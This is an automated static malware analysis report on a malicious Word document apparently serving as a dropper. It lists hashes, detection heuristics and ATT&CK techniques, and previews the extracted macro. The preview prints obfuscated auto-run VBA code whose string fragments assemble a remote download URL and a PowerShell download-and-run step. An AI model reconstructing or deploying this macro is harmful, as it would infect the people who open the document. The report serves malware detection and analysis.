Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5602ba9c52386806…

MALICIOUS

Office (OLE)

280.0 KB Created: 2018-01-03 21:22:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: 38ac59fdfa95cdad4682044bb61dfa81 SHA-1: 7716bbb1b824cbdc985008c25e92424ef12d863d SHA-256: 5602ba9c52386806f8d723f63265fe94d15303d3112a2c0b6bd7b6319626c32f
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands. ClamAV identified the file as 'Img.Dropper.PhishingLure-6443153-0', suggesting a dropper or phishing lure functionality. The obfuscated nature of the VBA script prevents a more detailed analysis of its specific actions.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 104697 bytes
SHA-256: dd574bbdee1d5eae22fed908375a583dad36e79550ec5064d61d1e7976f33877
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "odnYOBsVCzG"
Function uizdQDZNOpC()
On Error Resume Next
XciZhE = 90 / Sqr(5) + npUNIjoJiWLP / CBool(ABCPYqrYXmd * Sin(461)) * (6739 - 4 / (CqDtaJnu * cndHRwoILiEFWN + jiESWJQCq - ChrB(3))) + 90 / Sqr(5) + FtlQHNY / CBool(jXNZIGuCPL * Sin(461)) * (6739 - 4 / (ZFjdlMw * UYnMkmF + DDsDVjkq - ChrB(3)))
iwfMP = 90 / Sqr(5) + LXsSUkfUWVf / CBool(zUlNKnnLzkqJuO * Sin(461)) * (6739 - 4 / (RaLiTLw * dqCWJLOl + pEwMYsIizj - ChrB(3))) + 90 / Sqr(5) + bjiXFjNuLnL / CBool(CHIXIQdzjwXU * Sin(461)) * (6739 - 4 / (RrthCDWcUlwHi * czUajdSuE + VANTjtcJN - ChrB(3)))
uOZvI = jiAEGXYAiVq + Mid("Gp'+'gQ/tAupg+upgZ.SRHmI5H6T5Oi", 2, 19) + riIpUCwhJGTRku
HbGdzfrbfYq = 90 / Sqr(5) + DHWzYTuEwRvZP / CBool(ELIDzsKdmCvqzX * Sin(461)) * (6739 - 4 / (jsVpmhEZ * wEtHmVJl + DorMdnzfaVTCh - ChrB(3))) + 90 / Sqr(5) + WwPYajdSzm / CBool(GszCrQs * Sin(461)) * (6739 - 4 / (DvjQWPis * HiFEOkWL + wjBKloFLWv - ChrB(3)))
OkjUdqsWzGF = 90 / Sqr(5) + hpMiQUUXKS / CBool(lzGpiPOuZVhr * Sin(461)) * (6739 - 4 / (EcfiXSLzfi * EcisdifitwzGrz + DcNVwAwrioo - ChrB(3))) + 90 / Sqr(5) + ArGjFVIlGlWQ / CBool(pzzWEVoksPikK * Sin(461)) * (6739 - 4 / (wFkADowfqmP * ljMXSGwiJAAUZS + CHcXzup - ChrB(3)))
bTviiWkRizl = 90 / Sqr(5) + JHsKuKKsmt / CBool(XdiKkMjiimr * Sin(461)) * (6739 - 4 / (oaXZOinW * PkRmlNtWhRFw + nnBlHvtMphRwD - ChrB(3))) + 90 / Sqr(5) + XlvOzXsHtMYw / CBool(qIwVmLzmjXcXrc * Sin(461)) * (6739 - 4 / (aDApidVklC * awfuoNI + DDsLflFwnNTrHu - ChrB(3)))
QRUrXEo = cjEbtiYnjsJsrV + Mid("pD0zCW8Xolab0jG+0jGupg+up0jG+0jGgcupg+upg upg+upgin tolbcdupg+upg){upg+upgtryupg0jG+0j'+'G+upg{tolfranTOB20iv8dPHXV1FAG69TF", 9, 94) + RjwrHcrT
PSKwv = 90 / Sqr(5) + fWkScuJI / CBool(HJkEXVwc * Sin(461)) * (6739 - 4 / (fVzEPalnuYOOP * vZhBhoU + AspMPiwfmfvL - ChrB(3))) + 90 / Sqr(5) + UMaGKjpAl / CBool(wrJpfpTPnTvVFP * Sin(461)) * (6739 - 4 / (KDrPmjT * lbMGuXI + kOwsUGsQpSQ - ChrB(3)))
TQjzjW = 90 / Sqr(5) + tozWFWKvw / CBool(uBQrFMLhVZAC * Sin(461)) * (6739 - 4 / (PzjwLlcqZl * InvbvLXZcAzonF + HnUoHNrQkYZ - ChrB(3))) + 90 / Sqr(5) + wKUvUQTiRQ / CBool(lKCaaXPJttjd * Sin(461)) * (6739 - 4 / (WlijRXLCWnYPH * iYTWOrD + dFmRsVPfdSjf - ChrB(3)))
ImIdYqz = 90 / Sqr(5) + GWhEKaa / CBool(SKLRcFvqWi * Sin(461)) * (6739 - 4 / (zPnPhhizFsY * DIsBoVvSXKf + SbGlNniVAILqS - ChrB(3))) + 90 / Sqr(5) + AXfdUbuh / CBool(IjEGVbLI * Sin(461)) * (6739 - 4 / (kvwFatjSKCcvz * ihVYntq + wkUwCJj - ChrB(3)))
RFasIkFsPls = sTwHLDAd + Mid("iv71upg'+'+upgtp://upg+u0jG+0jGpg'+'zaupg+upgbor'+'upg+upg.by/kFupg+upgdf6c'+'upg+upgAMTnNQWSL5zPSOJZTOOmbVVqCSZ5BlGi2", 5, 81) + kzKdnYOTjZsfoK
VSKKDLdw = 90 / Sqr(5) + jlkRtEjPWd / CBool(SRlkaXSl * Sin(461)) * (6739 - 4 / (oHZwAiqnqJGi * jumjEUmWTHb + wajiFGzvtkc - ChrB(3))) + 90 / Sqr(5) + nROOtYMW / CBool(qlqzqSzzPVz * Sin(461)) * (6739 - 4 / (UCEGIkDGnjvSaw * FXcuuFAIpthOn + vdPcPSO - ChrB(3)))
hfYPP = 90 / Sqr(5) + PQpaRPrZHN / CBool(QZZWQzPRkqdwz * Sin(461)) * (6739 - 4 / (KBWQfjKRvzJw * jbUFSJBZzdw + GRwijmSsnGOU - ChrB(3))) + 90 / Sqr(5) + cijziZMU / CBool(iqPkKpvMMY * Sin(461)) * (6739 - 4 / (iYSNiONrDo * NAzpfVaTEm + kiGTwbczb - ChrB(3)))
ziYqNQ = 90 / Sqr(5) + OMbVQErGjqKdYv / CBool(sGlpMBAVJ * Sin(461)) * (6739 - 4 / (IKUqoXXwVw * JRsLwAJhNRGwLu + TBIsOqRBHu - ChrB(3))) + 90 / Sqr(5) + PrSmfDwUio / CBool(iPBrowCBNIwVD * Sin(461)) * (6739 - 4 / (pdhErPkQYk * OalCzrLia + sqXCUzFjOT - ChrB(3)))
apHfp = IknJPoGp + Mid("WLIeX( (' .( xEQFpKrmzLsa", 3, 14) + XufrbmaFrU
wbTtY = 90 / Sqr(5) + pwZELSQPLUQiId / CBool(mUKZmtTmU * Sin(461)) * (6739 - 4 / (jHPSlOGNfXEXl * DKDsRwBZc + JHSXpAW - ChrB(3))) + 90 / Sqr(5) + EQcKBzaF / CBool(UdFKOjqW * Sin(461)) * (6739 - 4 / (pbUYmKfLIiw * YiBuSUrsIGSL + jwWtuYbBNLup - ChrB(3)))
biXsjtPj = 90 / Sqr(5) + iIJfpPmi / CBool(rhVaujmouiR * Sin(461)) * (6739 - 4 / (uMQmiFdwMGlA * bSztPfSrRdnEnw + lobWBdkvst - ChrB(3)))
... (truncated)

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